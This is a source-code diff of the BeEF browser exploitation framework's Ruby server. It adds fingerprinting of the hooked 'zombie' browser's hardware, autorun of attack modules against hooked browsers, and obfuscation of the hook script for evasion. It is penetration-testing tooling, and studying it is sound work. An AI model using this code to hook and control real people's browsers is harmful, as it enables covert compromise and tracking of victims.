@@ -118,6 +111,14 @@ module BeEF
self.err_msg "Invalid operating system name returned from the hook browser's initial connection."
end
+ # get and store the hardware name
+ hw_name = get_param(@data['results'], 'Hardware')
+ if BeEF::Filters.is_valid_hwname?(hw_name)
+ BD.set(session_id, 'Hardware', hw_name)
+ else
+ self.err_msg "Invalid hardware name returned from the hook browser's initial connection."
+ end
+
# get and store the date
date_stamp = get_param(@data['results'], 'DateStamp')
if BeEF::Filters.is_valid_date_stamp?(date_stamp)
@@ -222,6 +223,14 @@ module BeEF
self.err_msg "Invalid value for HasFlash returned from the hook browser's initial connection."
end
+ # get and store the yes|no value for HasPhonegap
+ has_phonegap = get_param(@data['results'], 'HasPhonegap')
+ if BeEF::Filters.is_valid_yes_no?(has_phonegap)
+ BD.set(session_id, 'HasPhonegap', has_phonegap)
+ else
+ self.err_msg "Invalid value for HasPhonegap returned from the hook browser's initial connection."
+ end
+
# get and store the yes|no value for HasGoogleGears
has_googlegears = get_param(@data['results'], 'HasGoogleGears')
if BeEF::Filters.is_valid_yes_no?(has_googlegears)
@@ -263,23 +272,29 @@ module BeEF
end
# log a few info of newly hooked zombie in the console
- print_info "New Hooked Browser [ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]"
+ print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]"
# Call autorun modules
- autorun = []
- BeEF::Core::Configuration.instance.get('beef.module').each { |k, v|
- if v.has_key?('autorun') and v['autorun'] == true
- if BeEF::Module.support(k, {'browser' => browser_name, 'ver' => browser_version, 'os' => os_name}) == BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
- BeEF::Module.execute(k, session_id)
- autorun.push(k)
- else
- print_debug "Autorun attempted to execute unsupported module '#{k}' against Hooked browser #{zombie.ip}"
+ if config.get('beef.autorun.enable')
+ autorun = []
+ BeEF::Core::Configuration.instance.get('beef.module').each { |k, v|
+ if v.has_key?('autorun') and v['autorun'] == true
+ target_status = BeEF::Module.support(k, {'browser' => browser_name, 'ver' => browser_version, 'os' => os_name})
+ if target_status == BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
+ BeEF::Module.execute(k, session_id)
+ autorun.push(k)
+ elsif target_status == BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY and config.get('beef.autorun.allow_user_notify')
+ BeEF::Module.execute(k, session_id)
+ autorun.push(k)
+ else
+ print_debug "Autorun attempted to execute unsupported module '#{k}' against Hooked browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}]"
+ end
end
+ }
+ if autorun.length > 0
+ print_info "Autorun executed[#{autorun.join(', ')}] against Hooked browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}]"
end
- }
- if autorun.length > 0
- print_info "Autorun executed: #{autorun.join(', ')} against Hooked browser #{zombie.ip}"
end
end
diff --git a/core/main/handlers/commands.rb b/core/main/handlers/commands.rb
index b96f45c6f..86f6e2685 100644
--- a/core/main/handlers/commands.rb
+++ b/core/main/handlers/commands.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
diff --git a/core/main/handlers/hookedbrowsers.rb b/core/main/handlers/hookedbrowsers.rb
index a5450ac91..0e004465a 100644
--- a/core/main/handlers/hookedbrowsers.rb
+++ b/core/main/handlers/hookedbrowsers.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb
index 92473876d..e36fedd7c 100644
--- a/core/main/handlers/modules/beefjs.rb
+++ b/core/main/handlers/modules/beefjs.rb
@@ -1,136 +1,159 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
-module Core
-module Handlers
-module Modules
+ module Core
+ module Handlers
+ module Modules
- # @note Purpose: avoid rewriting several times the same code.
- module BeEFJS
+ # @note Purpose: avoid rewriting several times the same code.
+ module BeEFJS
- # Builds the default beefjs library (all default components of the library).
- # @param [Object] req_host The request object
- def build_beefjs!(req_host)
- config = BeEF::Core::Configuration.instance
- # @note set up values required to construct beefjs
- beefjs = ''
- # @note location of sub files
- beefjs_path = "#{$root_dir}/core/main/client/"
- # @note we load websocket library only if ws server is enabled in config.yalm
- # check in init.js
- if config.get("beef.http.websocket.enable")
- js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js)
- else
- js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js)
- end
+ # Builds the default beefjs library (all default components of the library).
+ # @param [Object] req_host The request object
+ def build_beefjs!(req_host)
+ config = BeEF::Core::Configuration.instance
+ # @note set up values required to construct beefjs
+ beef_js = ''
+ # @note location of sub files
+ beef_js_path = "#{$root_dir}/core/main/client/"
- # @note construct the beefjs string from file(s)
- js_sub_files.each {|js_sub_file_name|
- js_sub_file_abs_path = beefjs_path + js_sub_file_name
- beefjs << (File.read(js_sub_file_abs_path) + "\n\n")
- }
+ # @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated
+ ext_js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js)
- # @note create the config for the hooked browser session
+ # @note BeEF libraries: need Eruby evaluation and obfuscation
+ beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js net/cors.js are.js)
+ # @note Load websocket library only if WS server is enabled in config.yaml
+ if config.get("beef.http.websocket.enable") == true
+ beef_js_sub_files << "websocket.js"
+ end
- hook_session_name = config.get('beef.http.hook_session_name')
- hook_session_config = BeEF::Core::Server.instance.to_h
+ # @note antisnatchor: leave timeout.js as the last one!
+ beef_js_sub_files << "timeout.js"
- # @note if http_host="0.0.0.0" in config ini, use the host requested by client
- if hook_session_config['beef_host'].eql? "0.0.0.0"
- hook_session_config['beef_host'] = req_host
- hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
- end
+ ext_js_to_obfuscate = ''
+ ext_js_to_not_obfuscate = ''
- # @note if http_port <> public_port in config ini, use the public_port
- unless hook_session_config['beef_public_port'].nil?
- if hook_session_config['beef_port'] != hook_session_config['beef_public_port']
- hook_session_config['beef_port'] = hook_session_config['beef_public_port']
- hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port'])
- if hook_session_config['beef_public_port'] == '443'
- hook_session_config['beef_url'].sub!(/http:/, 'https:')
+ # @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate
+ # @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate
+ ext_js_sub_files.each{ |ext_js_sub_file|
+ if config.get("beef.extension.evasion.enable")
+ if config.get("beef.extension.evasion.exclude_core_js").include?(ext_js_sub_file)
+ print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list"
+ # do not obfuscate the file
+ ext_js_sub_file_path = beef_js_path + ext_js_sub_file
+ ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
+ else
+ ext_js_sub_file_path = beef_js_path + ext_js_sub_file
+ ext_js_to_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
+ end
+ else
+ # Evasion is not enabled, do not obfuscate anything
+ ext_js_sub_file_path = beef_js_path + ext_js_sub_file
+ ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
+ end
+ }
+
+ # @note construct the beef_js string from file(s)
+ beef_js_sub_files.each { |beef_js_sub_file|
+ beef_js_sub_file_path = beef_js_path + beef_js_sub_file
+ beef_js << (File.read(beef_js_sub_file_path) + "\n\n")
+ }
+
+ # @note create the config for the hooked browser session
+ hook_session_config = BeEF::Core::Server.instance.to_h
+
+ # @note if http_host="0.0.0.0" in config ini, use the host requested by client
+ if hook_session_config['beef_host'].eql? "0.0.0.0"
+ hook_session_config['beef_host'] = req_host
+ hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
+ end
+
+ # @note set the XHR-polling timeout
+ hook_session_config['xhr_poll_timeout'] = config.get("beef.http.xhr_poll_timeout")
+
+ # @note if http_port <> public_port in config ini, use the public_port
+ unless hook_session_config['beef_public_port'].nil?
+ if hook_session_config['beef_port'] != hook_session_config['beef_public_port']
+ hook_session_config['beef_port'] = hook_session_config['beef_public_port']
+ hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port'])
+ if hook_session_config['beef_public_port'] == '443'
+ hook_session_config['beef_url'].sub!(/http:/, 'https:')
+ end
+ end
+ end
+
+ # @note Set some WebSocket properties
+ if config.get("beef.http.websocket.enable")
+ hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure")
+ hook_session_config['websocket_port'] = config.get("beef.http.websocket.port")
+ hook_session_config['ws_poll_timeout'] = config.get("beef.http.websocket.ws_poll_timeout")
+ hook_session_config['websocket_sec_port']= config.get("beef.http.websocket.secure_port")
+ end
+
+ # @note populate place holders in the beef_js string and set the response body
+ eruby = Erubis::FastEruby.new(beef_js)
+ @hook = eruby.evaluate(hook_session_config)
+
+ if config.get("beef.extension.evasion.enable")
+ evasion = BeEF::Extension::Evasion::Evasion.instance
+ @final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate + @hook)
+ else
+ @final_hook = ext_js_to_not_obfuscate + @hook
+ end
+
+ # @note Return the final hook to be sent to the browser
+ @body << @final_hook
+
+ end
+
+ # Finds the path to js components
+ # @param [String] component Name of component
+ # @return [String|Boolean] Returns false if path was not found, otherwise returns component path
+ def find_beefjs_component_path(component)
+ component_path = component
+ component_path.gsub!(/beef./, '')
+ component_path.gsub!(/\./, '/')
+ component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
+
+ return false if not File.exists? component_path
+
+ component_path
+ end
+
+ # Builds missing beefjs components.
+ # @param [Array] beefjs_components An array of component names
+ def build_missing_beefjs_components(beefjs_components)
+ # @note verifies that @beef_js_cmps is not nil to avoid bugs
+ @beef_js_cmps = '' if @beef_js_cmps.nil?
+
+ if beefjs_components.is_a? String
+ beefjs_components_path = find_beefjs_component_path(beefjs_components)
+ raise "Invalid component: could not build the beefjs file" if not beefjs_components_path
+ beefjs_components = {beefjs_components => beefjs_components_path}
+ end
+
+ beefjs_components.keys.each { |k|
+ next if @beef_js_cmps.include? beefjs_components[k]
+
+ # @note path to the component
+ component_path = beefjs_components[k]
+
+ # @note we output the component to the hooked browser
+ @body << File.read(component_path)+"\n\n"
+
+ # @note finally we add the component to the list of components already generated so it does not get generated numerous times.
+ if @beef_js_cmps.eql? ''
+ @beef_js_cmps = component_path
+ else
+ @beef_js_cmps += ",#{component_path}"
+ end
+ }
end
end
end
-
- if config.get("beef.http.websocket.enable")
- hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure")
- hook_session_config['websocket_port'] = config.get("beef.http.websocket.port")
- hook_session_config['websocket_timer'] = config.get("beef.http.websocket.alive_timer")
- end
-
- # @note populate place holders in the beefjs string and set the response body
- eruby = Erubis::FastEruby.new(beefjs)
- @hook = eruby.evaluate(hook_session_config)
-
- if config.get("beef.extension.evasion.enable")
- evasion = BeEF::Extension::Evasion::Evasion.instance
- @hook = evasion.add_bootstrapper + evasion.obfuscate(@hook)
- end
-
- @body << @hook
-
end
-
- # Finds the path to js components
- # @param [String] component Name of component
- # @return [String|Boolean] Returns false if path was not found, otherwise returns component path
- def find_beefjs_component_path(component)
- component_path = component
- component_path.gsub!(/beef./, '')
- component_path.gsub!(/\./, '/')
- component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
-
- return false if not File.exists? component_path
-
- component_path
- end
-
- # Builds missing beefjs components.
- # @param [Array] beefjs_components An array of component names
- def build_missing_beefjs_components(beefjs_components)
- # @note verifies that @beef_js_cmps is not nil to avoid bugs
- @beef_js_cmps = '' if @beef_js_cmps.nil?
-
- if beefjs_components.is_a? String
- beefjs_components_path = find_beefjs_component_path(beefjs_components)
- raise "Invalid component: could not build the beefjs file" if not beefjs_components_path
- beefjs_components = {beefjs_components => beefjs_components_path}
- end
-
- beefjs_components.keys.each {|k|
- next if @beef_js_cmps.include? beefjs_components[k]
-
- # @note path to the component
- component_path = beefjs_components[k]
-
- # @note we output the component to the hooked browser
- @body << File.read(component_path)+"\n\n"
-
- # @note finally we add the component to the list of components already generated so it does not get generated numerous times.
- if @beef_js_cmps.eql? ''
- @beef_js_cmps = component_path
- else
- @beef_js_cmps += ",#{component_path}"
- end
- }
- end
-
end
-
-end
-end
-end
end
diff --git a/core/main/handlers/modules/command.rb b/core/main/handlers/modules/command.rb
index 9d7646614..0df1cbdc9 100644
--- a/core/main/handlers/modules/command.rb
+++ b/core/main/handlers/modules/command.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
@@ -61,19 +51,11 @@ module BeEF
#todo antisnatchor: remove this gsub crap adding some hook packing.
if config.get("beef.http.websocket.enable") && ws.getsocket(hooked_browser.session)
#content = command_module.output.gsub('//
- #// Copyright 2012 Wade Alcorn wade@bindshell.net
#//
- #// Licensed under the Apache License, Version 2.0 (the "License");
- #// you may not use this file except in compliance with the License.
- #// You may obtain a copy of the License at
+ #// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+ #// Browser Exploitation Framework (BeEF) - http://beefproject.com
+ #// See the file 'doc/COPYING' for copying permission
#//
- #// http://www.apache.org/licenses/LICENSE-2.0
- #//
- #// Unless required by applicable law or agreed to in writing, software
- #// distributed under the License is distributed on an "AS IS" BASIS,
- #// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- #// See the License for the specific language governing permissions and
- #// limitations under the License.
#//', "")
ws.send(@output, hooked_browser.session)
else
@@ -82,7 +64,7 @@ module BeEF
# @note prints the event to the console
if BeEF::Settings.console?
name = command_module.friendlyname || kclass
- print_info "Hooked browser #{hooked_browser.ip} has been sent instructions from command module '#{name}'"
+ print_info "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has been sent instructions from command module [id:#{command.id}, name:'#{name}']"
end
# @note flag that the command has been sent to the hooked browser
diff --git a/core/main/logger.rb b/core/main/logger.rb
index f9e128d77..5486be58c 100644
--- a/core/main/logger.rb
+++ b/core/main/logger.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
@@ -24,6 +14,10 @@ module Core
# Constructor
def initialize
@logs = BeEF::Core::Models::Log
+ @config = BeEF::Core::Configuration.instance
+
+ # if notifications are enabled create a new instance
+ @notifications = BeEF::Extension::Notifications::Notifications unless @config.get('beef.extension.notifications.enable') == false
end
# Registers a new event in the logs
@@ -34,6 +28,9 @@ module Core
def register(from, event, hb = 0)
# type conversion to enforce standards
hb = hb.to_i
+
+ # get time now
+ time_now = Time.now
# arguments type checking
raise Exception::TypeError, '"from" needs to be a string' if not from.string?
@@ -41,7 +38,12 @@ module Core
raise Exception::TypeError, '"Hooked Browser ID" needs to be an integer' if not hb.integer?
# logging the new event into the database
- @logs.new(:type => "#{from}", :event => "#{event}", :date => Time.now, :hooked_browser_id => hb).save
+ @logs.new(:type => "#{from}", :event => "#{event}", :date => time_now, :hooked_browser_id => hb).save
+
+ # if notifications are enabled send the info there too
+ if @notifications
+ @notifications.new(from, event, time_now, hb)
+ end
# return
true
diff --git a/core/main/migration.rb b/core/main/migration.rb
index e9b553fc4..973ea0229 100644
--- a/core/main/migration.rb
+++ b/core/main/migration.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
diff --git a/core/main/models/browserdetails.rb b/core/main/models/browserdetails.rb
index 0cd114c75..020da0e06 100644
--- a/core/main/models/browserdetails.rb
+++ b/core/main/models/browserdetails.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
@@ -62,7 +52,7 @@ module Models
browserdetails
end
-
+
#
# Returns the icon representing the browser type the
# hooked browser is using (i.e. Firefox, Internet Explorer)
@@ -94,9 +84,10 @@ module Models
return BeEF::Core::Constants::Os::OS_QNX_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_QNX_UA_STR
return BeEF::Core::Constants::Os::OS_BEOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_BEOS_UA_STR
return BeEF::Core::Constants::Os::OS_OPENBSD_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_OPENBSD_UA_STR
- return BeEF::Core::Constants::Os::OS_IPHONE_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPHONE_UA_STR
- return BeEF::Core::Constants::Os::OS_IPAD_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPAD_UA_STR
- return BeEF::Core::Constants::Os::OS_IPOD_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPOD_UA_STR
+ return BeEF::Core::Constants::Os::OS_WEBOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_WEBOS_UA_STR
+ return BeEF::Core::Constants::Os::OS_IOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPHONE_UA_STR
+ return BeEF::Core::Constants::Os::OS_IOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPAD_UA_STR
+ return BeEF::Core::Constants::Os::OS_IOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_IPOD_UA_STR
return BeEF::Core::Constants::Os::OS_MAEMO_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_MAEMO_UA_STR
return BeEF::Core::Constants::Os::OS_MAC_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_MAC_UA_STR
return BeEF::Core::Constants::Os::OS_BLACKBERRY_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_BLACKBERRY_UA_STR
@@ -105,6 +96,33 @@ module Models
BeEF::Core::Constants::Os::OS_UNKNOWN_IMG
end
+ #
+ # Returns the icon representing the hardware the
+ # zombie is running on (i.e. iPhone, BlackBerry)
+ #
+ def self.hw_icon(session_id)
+
+ ua_string = get(session_id, 'BrowserReportedName')
+
+ return BeEF::Core::Constants::Hardware::HW_UNKNOWN_IMG if ua_string.nil?
+
+ return BeEF::Core::Constants::Hardware::HW_WINPHONE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_WINPHONE_UA_STR
+ return BeEF::Core::Constants::Hardware::HW_ZUNE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_ZUNE_UA_STR
+ return BeEF::Core::Constants::Hardware::HW_BLACKBERRY_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_BLACKBERRY_UA_STR
+ return BeEF::Core::Constants::Hardware::HW_IPHONE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_IPHONE_UA_STR
+ return BeEF::Core::Constants::Hardware::HW_IPAD_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_IPAD_UA_STR
+ return BeEF::Core::Constants::Hardware::HW_IPOD_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_IPOD_UA_STR
+ return BeEF::Core::Constants::Hardware::HW_KINDLE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_KINDLE_UA_STR
+ return BeEF::Core::Constants::Hardware::HW_NOKIA_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_NOKIA_UA_STR
+ return BeEF::Core::Constants::Hardware::HW_MOTOROLA_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_MOTOROLA_UA_STR
+ return BeEF::Core::Constants::Hardware::HW_HTC_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_HTC_UA_STR
+ return BeEF::Core::Constants::Hardware::HW_GOOGLE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_GOOGLE_UA_STR
+ return BeEF::Core::Constants::Hardware::HW_ERICSSON_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_ERICSSON_UA_STR
+
+ BeEF::Core::Constants::Hardware::HW_UNKNOWN_IMG
+
+ end
+
end
end
diff --git a/core/main/models/command.rb b/core/main/models/command.rb
index c4f8751e4..bc408b22f 100644
--- a/core/main/models/command.rb
+++ b/core/main/models/command.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
@@ -65,11 +55,11 @@ module Models
command.save
# @note log that the result was returned
- BeEF::Core::Logger.instance.register('Command', "Hooked browser #{hooked_browser.ip} has executed instructions from command module '#{command_friendly_name}'", hooked_browser_id)
+ BeEF::Core::Logger.instance.register('Command', "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has executed instructions from command module [id:#{command_id}, name:'#{command_friendly_name}']", hooked_browser_id)
# @note prints the event into the console
if BeEF::Settings.console?
- print_info "Hooked browser #{hooked_browser.ip} has executed instructions from command module '#{command_friendly_name}'"
+ print_info "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has executed instructions from command module [id:#{command_id}, name:'#{command_friendly_name}']"
end
end
diff --git a/core/main/models/commandmodule.rb b/core/main/models/commandmodule.rb
index 9ade6f12e..11100aaa4 100644
--- a/core/main/models/commandmodule.rb
+++ b/core/main/models/commandmodule.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
diff --git a/core/main/models/hookedbrowser.rb b/core/main/models/hookedbrowser.rb
index 0f48f00a8..13c011e04 100644
--- a/core/main/models/hookedbrowser.rb
+++ b/core/main/models/hookedbrowser.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
diff --git a/core/main/models/log.rb b/core/main/models/log.rb
index 9089c0c07..3e78c0c7f 100644
--- a/core/main/models/log.rb
+++ b/core/main/models/log.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
diff --git a/core/main/models/optioncache.rb b/core/main/models/optioncache.rb
index 74851f908..9dedec1d1 100644
--- a/core/main/models/optioncache.rb
+++ b/core/main/models/optioncache.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
